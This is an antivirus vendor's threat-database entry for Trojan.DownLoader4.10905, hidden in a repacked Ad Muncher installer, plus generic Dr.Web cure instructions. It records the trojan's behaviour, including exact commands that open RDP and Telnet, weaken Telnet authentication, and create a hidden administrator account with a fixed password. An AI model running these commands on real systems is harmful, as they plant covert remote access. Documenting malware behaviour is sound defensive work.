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Trojan.DownLoader4.10905

Aggiunto al database dei virus Dr.Web: 2011-07-12

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution:
Modifies the following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Ad Muncher' = '"%PROGRAM_FILES%\Ad Muncher\AdMunch.exe" /bt'
Creates the following services:
  • [<HKLM>\SYSTEM\ControlSet001\Services\TlntSvr] 'Start' = '00000002'
Malicious functions:
Executes the following:
  • <SYSTEM32>\netsh.exe firewall add portopening TCP 3389 "Remote Desktop"
  • <SYSTEM32>\reg.exe add "hklm\software\microsoft\windows\currentversion\run " /v "Microsoft update" /t REG_SZ /d "attrib c:\documents and settings\SUPPORT_388945a0 +h +s" /f
  • <SYSTEM32>\reg.exe add "hklm\software\microsoft\windows\currentversion\run " /v "Microsoft update software" /t REG_SZ /d "attrib c:\documents and settings\SUPPORT_388945a0.USER-4BB09A9C02 +h +s" /f
  • <SYSTEM32>\net1.exe accounts /maxpwage:unlimited
  • <SYSTEM32>\reg.exe add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
  • <SYSTEM32>\reg.exe add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
  • <SYSTEM32>\net1.exe start Telnet
  • <SYSTEM32>\tlntsvr.exe
  • <SYSTEM32>\regsvr32.exe /s <SYSTEM32>\tlntsvrp.dll
  • <SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a0 /t REG_DWORD /d 0 /f
  • <SYSTEM32>\sc.exe config tlntsvr start= auto
  • <SYSTEM32>\tlntadmn.exe config port=972 sec=-NTLM
  • <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\@@@@@@@.bat" "
  • <SYSTEM32>\chcp.com 1251
  • <SYSTEM32>\net1.exe user SUPPORT_388945a0 /delete
  • <SYSTEM32>\msiexec.exe
  • <SYSTEM32>\wscript.exe ""%TEMP%\@.vbs""
  • <SYSTEM32>\msiexec.exe /V
  • <SYSTEM32>\net1.exe localgroup %USERNAME%s SUPPORT_388945a0 /add
  • <SYSTEM32>\net1.exe localgroup "Пользователи удаленного рабочего стола" SUPPORT_388945a0 /add
  • <SYSTEM32>\net1.exe localgroup "Remote Desktop Users"
  • <SYSTEM32>\msiexec.exe -Embedding 1B249577A0D9DF3491D4636EB6318638
  • <SYSTEM32>\net1.exe user SUPPORT_388945a0 31311989 /add /comment:"Microsoft Windows Account" /countrycode:"000" /active:"yes" /expires:"never" /passwordchg:"NO"
  • <SYSTEM32>\net1.exe localgroup Администраторы SUPPORT_388945a0 /add
Modifies file system :
Creates the following files:
  • %ALLUSERSPROFILE%\Application Data\Ad Muncher\Registration.dat
  • %PROGRAM_FILES%\Ad Muncher\AM32-32562.dll
  • %PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\install.rdf
  • %ALLUSERSPROFILE%\Application Data\Ad Muncher\License.dat
  • %PROGRAM_FILES%\Ad Muncher\Install.ini
  • %ALLUSERSPROFILE%\Application Data\Ad Muncher\Config.dat
  • %PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\chrome.manifest
  • %PROGRAM_FILES%\Ad Muncher\AdMunch.dll
  • %ALLUSERSPROFILE%\Start Menu\Programs\Ad Muncher\Ad MUNCHER 4.91 build 32562 Repack Sergei.lnk
  • %ALLUSERSPROFILE%\Desktop\Ad MUNCHER 4.91 build 32562 Repack Sergei.lnk
  • %WINDIR%\Installer\{A8EA90E1-51E3-4F10-8759-86F42C704ABC}\_.exe
  • %PROGRAM_FILES%\Ad Muncher\AM64-32562.dll
  • %PROGRAM_FILES%\Ad Muncher\AdMunch64.exe
  • %PROGRAM_FILES%\Ad Muncher\AdMunch.exe
  • %PROGRAM_FILES%\Ad Muncher\AM32562d.fre
  • %PROGRAM_FILES%\Ad Muncher\FirefoxExtension_2.0\chrome\AMBE.jar
  • %APPDATA%\RePack Sergei\Ad Muncher\install\disk1.cab
  • %TEMP%\@@@@@@@.bat.exe
  • %TEMP%\1e569.msi
  • %APPDATA%\RePack Sergei\Ad Muncher\install\1.msi
  • %TEMP%\Ad_MUNCHER_4.91_build_32562_RePack_Sergei.exe
  • %TEMP%\RRR.exe
  • %TEMP%\@.vbs
  • %TEMP%\1.tmp\@@@@@@@.bat
  • %WINDIR%\Installer\MSI4.tmp
  • %WINDIR%\Installer\MSI5.tmp
  • C:\Config.Msi\1fbe2.rbs
  • %WINDIR%\Installer\MSI3.tmp
  • %WINDIR%\Installer\1fbdf.msi
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\ipgate[1].php
  • %WINDIR%\Installer\MSI2.tmp
Deletes the following files:
  • %TEMP%\1e569.msi
  • %WINDIR%\Installer\1fbdf.msi
  • %APPDATA%\RePack Sergei\Ad Muncher\install\1.msi
  • %TEMP%\1.tmp\@@@@@@@.bat
  • %APPDATA%\RePack Sergei\Ad Muncher\install\disk1.cab
  • %WINDIR%\Installer\MSI3.tmp
  • %WINDIR%\Installer\MSI2.tmp
  • %WINDIR%\Installer\MSI4.tmp
  • C:\Config.Msi\1fbe2.rbs
  • %WINDIR%\Installer\MSI5.tmp
Network activity:
Connects to:
  • 'sh###nik.el.kg':80
  • 'localhost':1035
TCP:
HTTP GET requests:
  • sh###nik.el.kg/ipgate.php
UDP:
  • DNS ASK sh###nik.el.kg
Miscellaneous:
Searches for the following windows:
  • ClassName: 'Shell_TrayWnd' WindowName: ''

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android